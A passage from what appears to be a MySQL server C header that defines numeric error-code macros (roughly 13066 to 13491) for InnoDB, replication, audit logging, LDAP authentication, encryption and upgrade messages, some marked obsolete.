ER_IB_MSG_1241 13066 #define ER_IB_MSG_LOG_FILES_CANNOT_ENCRYPT_IN_READ_ONLY 13067 #define ER_IB_MSG_LOG_FILES_ENCRYPTION_INIT_FAILED 13068 //#define OBSOLETE_ER_IB_MSG_1244 13069 #define ER_IB_MSG_1245 13070 #define ER_IB_MSG_1246 13071 #define ER_IB_MSG_1247 13072 #define ER_IB_MSG_1248 13073 #define ER_IB_MSG_1249 13074 #define ER_IB_MSG_1250 13075 #define ER_IB_MSG_1251 13076 #define ER_IB_MSG_BUF_PENDING_IO_ON_SHUTDOWN 13077 #define ER_IB_MSG_1253 13078 //#define OBSOLETE_ER_IB_MSG_1254 13079 #define ER_IB_MSG_1255 13080 #define ER_IB_MSG_1256 13081 #define ER_IB_MSG_1257 13082 #define ER_IB_MSG_1258 13083 #define ER_IB_MSG_1259 13084 #define ER_IB_MSG_1260 13085 #define ER_IB_MSG_1261 13086 #define ER_IB_MSG_1262 13087 #define ER_IB_MSG_1263 13088 #define ER_IB_MSG_LOG_FILE_HEADER_INVALID_CHECKSUM 13089 #define ER_IB_MSG_LOG_FORMAT_BEFORE_5_7_9 13090 #define ER_IB_MSG_1266 13091 #define ER_IB_MSG_LOG_PARAMS_CONCURRENCY_MARGIN_UNSAFE 13092 #define ER_IB_MSG_1268 13093 #define ER_IB_MSG_1269 13094 #define ER_IB_MSG_THREAD_CONCURRENCY_CHANGED 13095 #define ER_RPL_REPLICA_SQL_THREAD_STOP_CMD_EXEC_TIMEOUT 13096 #define ER_RPL_REPLICA_IO_THREAD_STOP_CMD_EXEC_TIMEOUT 13097 #define ER_RPL_GTID_UNSAFE_STMT_ON_NON_TRANS_TABLE 13098 #define ER_RPL_GTID_UNSAFE_STMT_CREATE_SELECT 13099 //#define OBSOLETE_ER_RPL_GTID_UNSAFE_STMT_ON_TEMPORARY_TABLE 13100 #define ER_BINLOG_ROW_VALUE_OPTION_IGNORED 13101 #define ER_BINLOG_USE_V1_ROW_EVENTS_IGNORED 13102 #define ER_BINLOG_ROW_VALUE_OPTION_USED_ONLY_FOR_AFTER_IMAGES 13103 #define ER_CONNECTION_ABORTED 13104 #define ER_NORMAL_SERVER_SHUTDOWN 13105 #define ER_KEYRING_MIGRATE_FAILED 13106 #define ER_GRP_RPL_LOWER_CASE_TABLE_NAMES_DIFF_FROM_GRP 13107 #define ER_OOM_SAVE_GTIDS 13108 #define ER_LCTN_NOT_FOUND 13109 //#define OBSOLETE_ER_REGEXP_INVALID_CAPTURE_GROUP_NAME 13110 #define ER_COMPONENT_FILTER_WRONG_VALUE 13111 #define ER_XPLUGIN_FAILED_TO_STOP_SERVICES 13112 #define ER_INCONSISTENT_ERROR 13113 #define ER_SERVER_SOURCE_FATAL_ERROR_READING_BINLOG 13114 #define ER_NETWORK_READ_EVENT_CHECKSUM_FAILURE 13115 #define ER_REPLICA_CREATE_EVENT_FAILURE 13116 #define ER_REPLICA_FATAL_ERROR 13117 #define ER_REPLICA_HEARTBEAT_FAILURE 13118 #define ER_REPLICA_INCIDENT 13119 #define ER_REPLICA_SOURCE_COM_FAILURE 13120 #define ER_REPLICA_RELAY_LOG_READ_FAILURE 13121 #define ER_REPLICA_RELAY_LOG_WRITE_FAILURE 13122 #define ER_SERVER_REPLICA_CM_INIT_REPOSITORY 13123 #define ER_SERVER_REPLICA_AM_INIT_REPOSITORY 13124 #define ER_SERVER_NET_PACKET_TOO_LARGE 13125 #define ER_SERVER_NO_SYSTEM_TABLE_ACCESS 13126 //#define OBSOLETE_ER_SERVER_UNKNOWN_ERROR 13127 #define ER_SERVER_UNKNOWN_SYSTEM_VARIABLE 13128 #define ER_SERVER_NO_SESSION_TO_SEND_TO 13129 #define ER_SERVER_NEW_ABORTING_CONNECTION 13130 #define ER_SERVER_OUT_OF_SORTMEMORY 13131 #define ER_SERVER_RECORD_FILE_FULL 13132 #define ER_SERVER_DISK_FULL_NOWAIT 13133 #define ER_SERVER_HANDLER_ERROR 13134 #define ER_SERVER_NOT_FORM_FILE 13135 #define ER_SERVER_CANT_OPEN_FILE 13136 #define ER_SERVER_FILE_NOT_FOUND 13137 #define ER_SERVER_FILE_USED 13138 #define ER_SERVER_CANNOT_LOAD_FROM_TABLE_V2 13139 #define ER_ERROR_INFO_FROM_DA 13140 #define ER_SERVER_TABLE_CHECK_FAILED 13141 #define ER_SERVER_COL_COUNT_DOESNT_MATCH_PLEASE_UPDATE_V2 13142 #define ER_SERVER_COL_COUNT_DOESNT_MATCH_CORRUPTED_V2 13143 #define ER_SERVER_ACL_TABLE_ERROR 13144 #define ER_SERVER_REPLICA_INIT_QUERY_FAILED 13145 #define ER_SERVER_REPLICA_CONVERSION_FAILED 13146 #define ER_SERVER_REPLICA_IGNORED_TABLE 13147 #define ER_CANT_REPLICATE_ANONYMOUS_WITH_AUTO_POSITION 13148 #define ER_CANT_REPLICATE_ANONYMOUS_WITH_GTID_MODE_ON 13149 #define ER_CANT_REPLICATE_GTID_WITH_GTID_MODE_OFF 13150 #define ER_SERVER_TEST_MESSAGE 13151 #define ER_AUDIT_LOG_JSON_FILTER_PARSING_ERROR 13152 #define ER_AUDIT_LOG_JSON_FILTERING_NOT_ENABLED 13153 #define ER_PLUGIN_FAILED_TO_OPEN_TABLES 13154 #define ER_PLUGIN_FAILED_TO_OPEN_TABLE 13155 #define ER_AUDIT_LOG_JSON_FILTER_NAME_CANNOT_BE_EMPTY 13156 #define ER_AUDIT_LOG_USER_NAME_INVALID_CHARACTER 13157 #define ER_AUDIT_LOG_UDF_INSUFFICIENT_PRIVILEGE 13158 #define ER_AUDIT_LOG_NO_KEYRING_PLUGIN_INSTALLED 13159 #define ER_AUDIT_LOG_HOST_NAME_INVALID_CHARACTER 13160 #define ER_AUDIT_LOG_ENCRYPTION_PASSWORD_HAS_NOT_BEEN_SET 13161 #define ER_AUDIT_LOG_COULD_NOT_CREATE_AES_KEY 13162 #define ER_AUDIT_LOG_ENCRYPTION_PASSWORD_CANNOT_BE_FETCHED 13163 #define ER_COULD_NOT_REINITIALIZE_AUDIT_LOG_FILTERS 13164 #define ER_AUDIT_LOG_JSON_USER_NAME_CANNOT_BE_EMPTY 13165 #define ER_AUDIT_LOG_USER_FIRST_CHARACTER_MUST_BE_ALPHANUMERIC 13166 #define ER_AUDIT_LOG_JSON_FILTER_DOES_NOT_EXIST 13167 #define ER_IB_MSG_1271 13168 #define ER_STARTING_INIT 13169 #define ER_ENDING_INIT 13170 #define ER_IB_MSG_1272 13171 #define ER_SERVER_SHUTDOWN_INFO 13172 #define ER_GRP_RPL_PLUGIN_ABORT 13173 //#define OBSOLETE_ER_REGEXP_INVALID_FLAG 13174 //#define OBSOLETE_ER_XA_REPLICATION_FILTERS 13175 //#define OBSOLETE_ER_UPDATE_GTID_PURGED_WITH_GR 13176 #define ER_AUDIT_LOG_TABLE_DEFINITION_NOT_UPDATED 13177 #define ER_DD_INITIALIZE_SQL_ERROR 13178 #define ER_NO_PATH_FOR_SHARED_LIBRARY 13179 #define ER_UDF_ALREADY_EXISTS 13180 #define ER_SET_EVENT_FAILED 13181 #define ER_FAILED_TO_ALLOCATE_SSL_BIO 13182 #define ER_IB_MSG_1273 13183 #define ER_PID_FILEPATH_LOCATIONS_INACCESSIBLE 13184 #define ER_UNKNOWN_VARIABLE_IN_PERSISTED_CONFIG_FILE 13185 #define ER_FAILED_TO_HANDLE_DEFAULTS_FILE 13186 #define ER_DUPLICATE_SYS_VAR 13187 #define ER_FAILED_TO_INIT_SYS_VAR 13188 #define ER_SYS_VAR_NOT_FOUND 13189 #define ER_IB_MSG_1274 13190 #define ER_IB_MSG_1275 13191 //#define OBSOLETE_ER_TARGET_TS_UNENCRYPTED 13192 #define ER_IB_MSG_WAIT_FOR_ENCRYPT_THREAD 13193 #define ER_IB_MSG_1277 13194 #define ER_IB_MSG_NO_ENCRYPT_PROGRESS_FOUND 13195 #define ER_IB_MSG_RESUME_OP_FOR_SPACE 13196 #define ER_IB_MSG_1280 13197 #define ER_IB_MSG_1281 13198 #define ER_IB_MSG_1282 13199 #define ER_IB_MSG_1283 13200 #define ER_IB_MSG_1284 13201 #define ER_CANT_SET_ERROR_SUPPRESSION_LIST_FROM_COMMAND_LINE 13202 #define ER_INVALID_VALUE_OF_BIND_ADDRESSES 13203 #define ER_RELAY_LOG_SPACE_LIMIT_DISABLED 13204 #define ER_GRP_RPL_ERROR_GTID_SET_EXTRACTION 13205 #define ER_GRP_RPL_MISSING_GRP_RPL_ACTION_COORDINATOR 13206 #define ER_GRP_RPL_JOIN_WHEN_GROUP_ACTION_RUNNING 13207 #define ER_GRP_RPL_JOINER_EXIT_WHEN_GROUP_ACTION_RUNNING 13208 #define ER_GRP_RPL_CHANNEL_THREAD_WHEN_GROUP_ACTION_RUNNING 13209 #define ER_GRP_RPL_APPOINTED_PRIMARY_NOT_PRESENT 13210 #define ER_GRP_RPL_ERROR_ON_MESSAGE_SENDING 13211 #define ER_GRP_RPL_CONFIGURATION_ACTION_ERROR 13212 #define ER_GRP_RPL_CONFIGURATION_ACTION_LOCAL_TERMINATION 13213 #define ER_GRP_RPL_CONFIGURATION_ACTION_START 13214 #define ER_GRP_RPL_CONFIGURATION_ACTION_END 13215 #define ER_GRP_RPL_CONFIGURATION_ACTION_KILLED_ERROR 13216 #define ER_GRP_RPL_PRIMARY_ELECTION_PROCESS_ERROR 13217 #define ER_GRP_RPL_PRIMARY_ELECTION_STOP_ERROR 13218 #define ER_GRP_RPL_NO_STAGE_SERVICE 13219 #define ER_GRP_RPL_UDF_REGISTER_ERROR 13220 #define ER_GRP_RPL_UDF_UNREGISTER_ERROR 13221 #define ER_GRP_RPL_UDF_REGISTER_SERVICE_ERROR 13222 #define ER_GRP_RPL_SERVER_UDF_ERROR 13223 //#define OBSOLETE_ER_CURRENT_PASSWORD_NOT_REQUIRED 13224 //#define OBSOLETE_ER_INCORRECT_CURRENT_PASSWORD 13225 //#define OBSOLETE_ER_MISSING_CURRENT_PASSWORD 13226 #define ER_SERVER_WRONG_VALUE_FOR_VAR 13227 #define ER_COULD_NOT_CREATE_WINDOWS_REGISTRY_KEY 13228 #define ER_SERVER_GTID_UNSAFE_CREATE_DROP_TEMP_TABLE_IN_TRX_IN_SBR 13229 //#define OBSOLETE_ER_SECONDARY_ENGINE 13230 //#define OBSOLETE_ER_SECONDARY_ENGINE_DDL 13231 //#define OBSOLETE_ER_NO_SESSION_TEMP 13232 #define ER_XPLUGIN_FAILED_TO_SWITCH_SECURITY_CTX 13233 #define ER_RPL_GTID_UNSAFE_ALTER_ADD_COL_WITH_DEFAULT_EXPRESSION 13234 #define ER_UPGRADE_PARSE_ERROR 13235 #define ER_DATA_DIRECTORY_UNUSABLE 13236 #define ER_LDAP_AUTH_USER_GROUP_SEARCH_ROOT_BIND 13237 #define ER_PLUGIN_INSTALL_ERROR 13238 #define ER_PLUGIN_UNINSTALL_ERROR 13239 #define ER_SHARED_TABLESPACE_USED_BY_PARTITIONED_TABLE 13240 #define ER_UNKNOWN_TABLESPACE_TYPE 13241 #define ER_WARN_DEPRECATED_UTF8_ALIAS_OPTION 13242 #define ER_WARN_DEPRECATED_UTF8MB3_CHARSET_OPTION 13243 #define ER_WARN_DEPRECATED_UTF8MB3_COLLATION_OPTION 13244 #define ER_SSL_MEMORY_INSTRUMENTATION_INIT_FAILED 13245 #define ER_IB_MSG_MADV_DONTDUMP_UNSUPPORTED 13246 #define ER_IB_MSG_MADVISE_FAILED 13247 //#define OBSOLETE_ER_COLUMN_CHANGE_SIZE 13248 #define ER_WARN_REMOVED_SQL_MODE 13249 #define ER_IB_MSG_FAILED_TO_ALLOCATE_WAIT 13250 //#define OBSOLETE_ER_IB_MSG_NUM_POOLS 13251 #define ER_IB_MSG_USING_UNDO_SPACE 13252 #define ER_IB_MSG_FAIL_TO_SAVE_SPACE_STATE 13253 #define ER_IB_MSG_MAX_UNDO_SPACES_REACHED 13254 #define ER_IB_MSG_ERROR_OPENING_NEW_UNDO_SPACE 13255 #define ER_IB_MSG_FAILED_SDI_Z_BUF_ERROR 13256 #define ER_IB_MSG_FAILED_SDI_Z_MEM_ERROR 13257 #define ER_IB_MSG_SDI_Z_STREAM_ERROR 13258 #define ER_IB_MSG_SDI_Z_UNKNOWN_ERROR 13259 #define ER_IB_MSG_FOUND_WRONG_UNDO_SPACE 13260 #define ER_IB_MSG_NOT_END_WITH_IBU 13261 //#define OBSOLETE_ER_IB_MSG_UNDO_TRUNCATE_EMPTY_FILE 13262 //#define OBSOLETE_ER_IB_MSG_UNDO_INJECT_BEFORE_DD_UPDATE 13263 //#define OBSOLETE_ER_IB_MSG_UNDO_INJECT_BEFORE_UNDO_LOGGING 13264 //#define OBSOLETE_ER_IB_MSG_UNDO_INJECT_BEFORE_RSEG 13265 #define ER_IB_MSG_FAILED_TO_FINISH_TRUNCATE 13266 #define ER_IB_MSG_DEPRECATED_INNODB_UNDO_TABLESPACES 13267 #define ER_IB_MSG_WRONG_TABLESPACE_DIR 13268 #define ER_IB_MSG_LOCK_FREE_HASH_USAGE_STATS 13269 #define ER_CLONE_DONOR_TRACE 13270 #define ER_CLONE_PROTOCOL_TRACE 13271 #define ER_CLONE_CLIENT_TRACE 13272 #define ER_CLONE_SERVER_TRACE 13273 #define ER_THREAD_POOL_PFS_TABLES_INIT_FAILED 13274 #define ER_THREAD_POOL_PFS_TABLES_ADD_FAILED 13275 #define ER_CANT_SET_DATA_DIR 13276 #define ER_INNODB_INVALID_INNODB_UNDO_DIRECTORY_LOCATION 13277 #define ER_SERVER_RPL_ENCRYPTION_FAILED_TO_FETCH_KEY 13278 #define ER_SERVER_RPL_ENCRYPTION_KEY_NOT_FOUND 13279 #define ER_SERVER_RPL_ENCRYPTION_KEYRING_INVALID_KEY 13280 #define ER_SERVER_RPL_ENCRYPTION_HEADER_ERROR 13281 #define ER_SERVER_RPL_ENCRYPTION_FAILED_TO_ROTATE_LOGS 13282 #define ER_SERVER_RPL_ENCRYPTION_KEY_EXISTS_UNEXPECTED 13283 #define ER_SERVER_RPL_ENCRYPTION_FAILED_TO_GENERATE_KEY 13284 #define ER_SERVER_RPL_ENCRYPTION_FAILED_TO_STORE_KEY 13285 #define ER_SERVER_RPL_ENCRYPTION_FAILED_TO_REMOVE_KEY 13286 #define ER_SERVER_RPL_ENCRYPTION_MASTER_KEY_RECOVERY_FAILED 13287 #define ER_SERVER_RPL_ENCRYPTION_UNABLE_TO_INITIALIZE 13288 #define ER_SERVER_RPL_ENCRYPTION_UNABLE_TO_ROTATE_MASTER_KEY_AT_STARTUP 13289 #define ER_SERVER_RPL_ENCRYPTION_IGNORE_ROTATE_MASTER_KEY_AT_STARTUP 13290 #define ER_INVALID_ADMIN_ADDRESS 13291 #define ER_SERVER_STARTUP_ADMIN_INTERFACE 13292 #define ER_CANT_CREATE_ADMIN_THREAD 13293 #define ER_WARNING_RETAIN_CURRENT_PASSWORD_CLAUSE_VOID 13294 #define ER_WARNING_DISCARD_OLD_PASSWORD_CLAUSE_VOID 13295 //#define OBSOLETE_ER_SECOND_PASSWORD_CANNOT_BE_EMPTY 13296 //#define OBSOLETE_ER_PASSWORD_CANNOT_BE_RETAINED_ON_PLUGIN_CHANGE 13297 //#define OBSOLETE_ER_CURRENT_PASSWORD_CANNOT_BE_RETAINED 13298 #define ER_WARNING_AUTHCACHE_INVALID_USER_ATTRIBUTES 13299 #define ER_MYSQL_NATIVE_PASSWORD_SECOND_PASSWORD_USED_INFORMATION 13300 #define ER_SHA256_PASSWORD_SECOND_PASSWORD_USED_INFORMATION 13301 #define ER_CACHING_SHA2_PASSWORD_SECOND_PASSWORD_USED_INFORMATION 13302 #define ER_GRP_RPL_SEND_TRX_PREPARED_MESSAGE_FAILED 13303 #define ER_GRP_RPL_RELEASE_COMMIT_AFTER_GROUP_PREPARE_FAILED 13304 #define ER_GRP_RPL_TRX_ALREADY_EXISTS_ON_TCM_ON_AFTER_CERTIFICATION 13305 #define ER_GRP_RPL_FAILED_TO_INSERT_TRX_ON_TCM_ON_AFTER_CERTIFICATION 13306 #define ER_GRP_RPL_REGISTER_TRX_TO_WAIT_FOR_GROUP_PREPARE_FAILED 13307 #define ER_GRP_RPL_TRX_WAIT_FOR_GROUP_PREPARE_FAILED 13308 #define ER_GRP_RPL_TRX_DOES_NOT_EXIST_ON_TCM_ON_HANDLE_REMOTE_PREPARE 13309 #define ER_GRP_RPL_RELEASE_BEGIN_TRX_AFTER_DEPENDENCIES_COMMIT_FAILED 13310 #define ER_GRP_RPL_REGISTER_TRX_TO_WAIT_FOR_DEPENDENCIES_FAILED 13311 #define ER_GRP_RPL_WAIT_FOR_DEPENDENCIES_FAILED 13312 #define ER_GRP_RPL_REGISTER_TRX_TO_WAIT_FOR_SYNC_BEFORE_EXECUTION_FAILED 13313 #define ER_GRP_RPL_SEND_TRX_SYNC_BEFORE_EXECUTION_FAILED 13314 #define ER_GRP_RPL_TRX_WAIT_FOR_SYNC_BEFORE_EXECUTION_FAILED 13315 #define ER_GRP_RPL_RELEASE_BEGIN_TRX_AFTER_WAIT_FOR_SYNC_BEFORE_EXEC 13316 #define ER_GRP_RPL_TRX_WAIT_FOR_GROUP_GTID_EXECUTED 13317 //#define OBSOLETE_ER_UNIT_NOT_FOUND 13318 //#define OBSOLETE_ER_GEOMETRY_IN_UNKNOWN_LENGTH_UNIT 13319 #define ER_WARN_PROPERTY_STRING_PARSE_FAILED 13320 #define ER_INVALID_PROPERTY_KEY 13321 #define ER_GRP_RPL_GTID_SET_EXTRACT_ERROR_DURING_RECOVERY 13322 #define ER_SERVER_RPL_ENCRYPTION_FAILED_TO_ENCRYPT 13323 #define ER_CANNOT_GET_SERVER_VERSION_FROM_TABLESPACE_HEADER 13324 #define ER_CANNOT_SET_SERVER_VERSION_IN_TABLESPACE_HEADER 13325 #define ER_SERVER_UPGRADE_VERSION_NOT_SUPPORTED 13326 #define ER_SERVER_UPGRADE_FROM_VERSION 13327 #define ER_GRP_RPL_ERROR_ON_CERT_DB_INSTALL 13328 #define ER_GRP_RPL_FORCE_MEMBERS_WHEN_LEAVING 13329 #define ER_TRG_WRONG_ORDER 13330 //#define OBSOLETE_ER_SECONDARY_ENGINE_PLUGIN 13331 #define ER_LDAP_AUTH_GRP_SEARCH_NOT_SPECIAL_HDL 13332 #define ER_LDAP_AUTH_GRP_USER_OBJECT_HAS_GROUP_INFO 13333 #define ER_LDAP_AUTH_GRP_INFO_FOUND_IN_MANY_OBJECTS 13334 #define ER_LDAP_AUTH_GRP_INCORRECT_ATTRIBUTE 13335 #define ER_LDAP_AUTH_GRP_NULL_ATTRIBUTE_VALUE 13336 #define ER_LDAP_AUTH_GRP_DN_PARSING_FAILED 13337 #define ER_LDAP_AUTH_GRP_OBJECT_HAS_USER_INFO 13338 #define ER_LDAP_AUTH_LDAPS 13339 #define ER_LDAP_MAPPING_GET_USER_PROXY 13340 #define ER_LDAP_MAPPING_USER_DONT_BELONG_GROUP 13341 #define ER_LDAP_MAPPING_INFO 13342 #define ER_LDAP_MAPPING_EMPTY_MAPPING 13343 #define ER_LDAP_MAPPING_PROCESS_MAPPING 13344 #define ER_LDAP_MAPPING_CHECK_DELIMI_QUOTE 13345 #define ER_LDAP_MAPPING_PROCESS_DELIMITER 13346 #define ER_LDAP_MAPPING_PROCESS_DELIMITER_EQUAL_NOT_FOUND 13347 #define ER_LDAP_MAPPING_PROCESS_DELIMITER_TRY_COMMA 13348 #define ER_LDAP_MAPPING_PROCESS_DELIMITER_COMMA_NOT_FOUND 13349 #define ER_LDAP_MAPPING_NO_SEPEARATOR_END_OF_GROUP 13350 #define ER_LDAP_MAPPING_GETTING_NEXT_MAPPING 13351 #define ER_LDAP_MAPPING_PARSING_CURRENT_STATE 13352 #define ER_LDAP_MAPPING_PARSING_MAPPING_INFO 13353 #define ER_LDAP_MAPPING_PARSING_ERROR 13354 #define ER_LDAP_MAPPING_TRIMMING_SPACES 13355 #define ER_LDAP_MAPPING_IS_QUOTE 13356 #define ER_LDAP_MAPPING_NON_DESIRED_STATE 13357 #define ER_INVALID_NAMED_PIPE_FULL_ACCESS_GROUP 13358 #define ER_PREPARE_FOR_SECONDARY_ENGINE 13359 #define ER_SERVER_WARN_DEPRECATED 13360 #define ER_AUTH_ID_WITH_SYSTEM_USER_PRIV_IN_MANDATORY_ROLES 13361 #define ER_SERVER_BINLOG_MASTER_KEY_RECOVERY_OUT_OF_COMBINATION 13362 #define ER_SERVER_BINLOG_MASTER_KEY_ROTATION_FAIL_TO_CLEANUP_AUX_KEY 13363 //#define OBSOLETE_ER_CANNOT_GRANT_SYSTEM_PRIV_TO_MANDATORY_ROLE 13364 //#define OBSOLETE_ER_PARTIAL_REVOKE_AND_DB_GRANT_BOTH_EXISTS 13365 //#define OBSOLETE_ER_DB_ACCESS_DENIED 13366 //#define OBSOLETE_ER_PARTIAL_REVOKES_EXIST 13367 #define ER_TURNING_ON_PARTIAL_REVOKES 13368 #define ER_WARN_PARTIAL_REVOKE_AND_DB_GRANT 13369 #define ER_WARN_INCORRECT_PRIVILEGE_FOR_DB_RESTRICTIONS 13370 #define ER_WARN_INVALID_DB_RESTRICTIONS 13371 #define ER_GRP_RPL_INVALID_COMMUNICATION_PROTOCOL 13372 #define ER_GRP_RPL_STARTED_AUTO_REJOIN 13373 #define ER_GRP_RPL_TIMEOUT_RECEIVED_VC_ON_REJOIN 13374 #define ER_GRP_RPL_FINISHED_AUTO_REJOIN 13375 #define ER_GRP_RPL_DEFAULT_TABLE_ENCRYPTION_DIFF_FROM_GRP 13376 #define ER_SERVER_UPGRADE_OFF 13377 #define ER_SERVER_UPGRADE_SKIP 13378 #define ER_SERVER_UPGRADE_PENDING 13379 #define ER_SERVER_UPGRADE_FAILED 13380 #define ER_SERVER_UPGRADE_STATUS 13381 #define ER_SERVER_UPGRADE_REPAIR_REQUIRED 13382 #define ER_SERVER_UPGRADE_REPAIR_STATUS 13383 #define ER_SERVER_UPGRADE_INFO_FILE 13384 #define ER_SERVER_UPGRADE_SYS_SCHEMA 13385 #define ER_SERVER_UPGRADE_MYSQL_TABLES 13386 #define ER_SERVER_UPGRADE_SYSTEM_TABLES 13387 #define ER_SERVER_UPGRADE_EMPTY_SYS 13388 #define ER_SERVER_UPGRADE_NO_SYS_VERSION 13389 #define ER_SERVER_UPGRADE_SYS_VERSION_EMPTY 13390 #define ER_SERVER_UPGRADE_SYS_SCHEMA_OUTDATED 13391 #define ER_SERVER_UPGRADE_SYS_SCHEMA_UP_TO_DATE 13392 #define ER_SERVER_UPGRADE_SYS_SCHEMA_OBJECT_COUNT 13393 #define ER_SERVER_UPGRADE_CHECKING_DB 13394 #define ER_IB_MSG_DDL_LOG_DELETE_BY_ID_TMCT 13395 #define ER_IB_MSG_POST_RECOVER_DDL_LOG_RECOVER 13396 #define ER_IB_MSG_POST_RECOVER_POST_TS_ENCRYPT 13397 #define ER_IB_MSG_DDL_LOG_FAIL_POST_DDL 13398 #define ER_SERVER_BINLOG_UNSAFE_SYSTEM_FUNCTION 13399 #define ER_SERVER_UPGRADE_HELP_TABLE_STATUS 13400 //#define OBSOLETE_ER_GRP_RPL_SRV_GTID_WAIT_ERROR 13401 //#define OBSOLETE_ER_GRP_DELAYED_VCLE_LOGGING 13402 //#define OBSOLETE_ER_CANNOT_GRANT_ROLES_TO_ANONYMOUS_USER 13403 #define ER_BINLOG_UNABLE_TO_ROTATE_GTID_TABLE_READONLY 13404 #define ER_NETWORK_NAMESPACES_NOT_SUPPORTED 13405 #define ER_UNKNOWN_NETWORK_NAMESPACE 13406 #define ER_NETWORK_NAMESPACE_NOT_ALLOWED_FOR_WILDCARD_ADDRESS 13407 #define ER_SETNS_FAILED 13408 #define ER_WILDCARD_NOT_ALLOWED_FOR_MULTIADDRESS_BIND 13409 #define ER_NETWORK_NAMESPACE_FILE_PATH_TOO_LONG 13410 #define ER_IB_MSG_TOO_LONG_PATH 13411 #define ER_IB_RECV_FIRST_REC_GROUP_INVALID 13412 #define ER_DD_UPGRADE_COMPLETED 13413 #define ER_SSL_SERVER_CERT_VERIFY_FAILED 13414 #define ER_PERSIST_OPTION_USER_TRUNCATED 13415 #define ER_PERSIST_OPTION_HOST_TRUNCATED 13416 #define ER_NET_WAIT_ERROR 13417 #define ER_IB_MSG_1285 13418 #define ER_IB_MSG_CLOCK_MONOTONIC_UNSUPPORTED 13419 #define ER_IB_MSG_CLOCK_GETTIME_FAILED 13420 #define ER_PLUGIN_NOT_EARLY_DUP 13421 #define ER_PLUGIN_NO_INSTALL_DUP 13422 //#define OBSOLETE_ER_WARN_DEPRECATED_SQL_CALC_FOUND_ROWS 13423 //#define OBSOLETE_ER_WARN_DEPRECATED_FOUND_ROWS 13424 #define ER_BINLOG_UNSAFE_DEFAULT_EXPRESSION_IN_SUBSTATEMENT 13425 #define ER_GRP_RPL_MEMBER_VER_READ_COMPATIBLE 13426 #define ER_LOCK_ORDER_INIT_FAILED 13427 #define ER_AUDIT_LOG_KEYRING_ID_TIMESTAMP_VALUE_IS_INVALID 13428 #define ER_AUDIT_LOG_FILE_NAME_TIMESTAMP_VALUE_IS_MISSING_OR_INVALID 13429 #define ER_AUDIT_LOG_FILE_NAME_DOES_NOT_HAVE_REQUIRED_FORMAT 13430 #define ER_AUDIT_LOG_FILE_NAME_KEYRING_ID_VALUE_IS_MISSING 13431 #define ER_AUDIT_LOG_FILE_HAS_BEEN_SUCCESSFULLY_PROCESSED 13432 #define ER_AUDIT_LOG_COULD_NOT_OPEN_FILE_FOR_READING 13433 #define ER_AUDIT_LOG_INVALID_FILE_CONTENT 13434 #define ER_AUDIT_LOG_CANNOT_READ_PASSWORD 13435 #define ER_AUDIT_LOG_CANNOT_STORE_PASSWORD 13436 #define ER_AUDIT_LOG_CANNOT_REMOVE_PASSWORD 13437 #define ER_AUDIT_LOG_PASSWORD_HAS_BEEN_COPIED 13438 //#define OBSOLETE_ER_AUDIT_LOG_INSUFFICIENT_PRIVILEGE 13439 //#define OBSOLETE_ER_WRONG_MVI_VALUE 13440 //#define OBSOLETE_ER_WARN_FUNC_INDEX_NOT_APPLICABLE 13441 //#define OBSOLETE_ER_EXCEEDED_MV_KEYS_NUM 13442 //#define OBSOLETE_ER_EXCEEDED_MV_KEYS_SPACE 13443 //#define OBSOLETE_ER_FUNCTIONAL_INDEX_DATA_IS_TOO_LONG 13444 //#define OBSOLETE_ER_INVALID_JSON_VALUE_FOR_FUNC_INDEX 13445 //#define OBSOLETE_ER_JSON_VALUE_OUT_OF_RANGE_FOR_FUNC_INDEX 13446 #define ER_LDAP_EMPTY_USERDN_PASSWORD 13447 //#define OBSOLETE_ER_GROUPING_ON_TIMESTAMP_IN_DST 13448 #define ER_ACL_WRONG_OR_MISSING_ACL_TABLES_LOG 13449 #define ER_LOCK_ORDER_FAILED_WRITE_FILE 13450 #define ER_LOCK_ORDER_FAILED_READ_FILE 13451 #define ER_LOCK_ORDER_MESSAGE 13452 #define ER_LOCK_ORDER_DEPENDENCIES_SYNTAX 13453 #define ER_LOCK_ORDER_SCANNER_SYNTAX 13454 #define ER_DATA_DIRECTORY_UNUSABLE_DELETABLE 13455 #define ER_IB_MSG_BTREE_LEVEL_LIMIT_EXCEEDED 13456 #define ER_IB_CLONE_START_STOP 13457 #define ER_IB_CLONE_OPERATION 13458 #define ER_IB_CLONE_RESTART 13459 #define ER_IB_CLONE_USER_DATA 13460 #define ER_IB_CLONE_NON_INNODB_TABLE 13461 #define ER_CLONE_SHUTDOWN_TRACE 13462 #define ER_GRP_RPL_GTID_PURGED_EXTRACT_ERROR 13463 #define ER_GRP_RPL_CLONE_PROCESS_PREPARE_ERROR 13464 #define ER_GRP_RPL_CLONE_PROCESS_EXEC_ERROR 13465 #define ER_GRP_RPL_RECOVERY_EVAL_ERROR 13466 #define ER_GRP_RPL_NO_POSSIBLE_RECOVERY 13467 #define ER_GRP_RPL_CANT_KILL_THREAD 13468 #define ER_GRP_RPL_RECOVERY_STRAT_CLONE_THRESHOLD 13469 #define ER_GRP_RPL_RECOVERY_STRAT_CLONE_PURGED 13470 #define ER_GRP_RPL_RECOVERY_STRAT_CHOICE 13471 #define ER_GRP_RPL_RECOVERY_STRAT_FALLBACK 13472 #define ER_GRP_RPL_RECOVERY_STRAT_NO_FALLBACK 13473 #define ER_GRP_RPL_REPLICA_THREAD_ERROR_ON_CLONE 13474 #define ER_UNKNOWN_TABLE_IN_UPGRADE 13475 #define ER_IDENT_CAUSES_TOO_LONG_PATH_IN_UPGRADE 13476 #define ER_XA_CANT_CREATE_MDL_BACKUP 13477 #define ER_AUDIT_LOG_SUPER_PRIVILEGE_REQUIRED 13478 #define ER_AUDIT_LOG_UDF_INVALID_ARGUMENT_TYPE 13479 #define ER_AUDIT_LOG_UDF_INVALID_ARGUMENT_COUNT 13480 #define ER_AUDIT_LOG_HAS_NOT_BEEN_INSTALLED 13481 #define ER_AUDIT_LOG_UDF_READ_INVALID_MAX_ARRAY_LENGTH_ARG_TYPE 13482 #define ER_LOG_CANNOT_WRITE_EXTENDED 13483 //#define OBSOLETE_ER_UPGRADE_WITH_PARTITIONED_TABLES_REJECTED 13484 #define ER_KEYRING_AWS_INCORRECT_PROXY 13485 #define ER_GRP_RPL_SERVER_SET_TO_OFFLINE_MODE_DUE_TO_ERRORS 13486 #define ER_GRP_RPL_MESSAGE_SERVICE_FATAL_ERROR 13487 #define ER_WARN_WRONG_COMPRESSION_ALGORITHM_LOG 13488 #define ER_WARN_WRONG_COMPRESSION_LEVEL_LOG 13489 #define ER_PROTOCOL_COMPRESSION_RESET_LOG 13490 #define ER_XPLUGIN_COMPRESSION_ERROR 13491 #define ER_MYSQLBACKUP_MSG 13492 #define 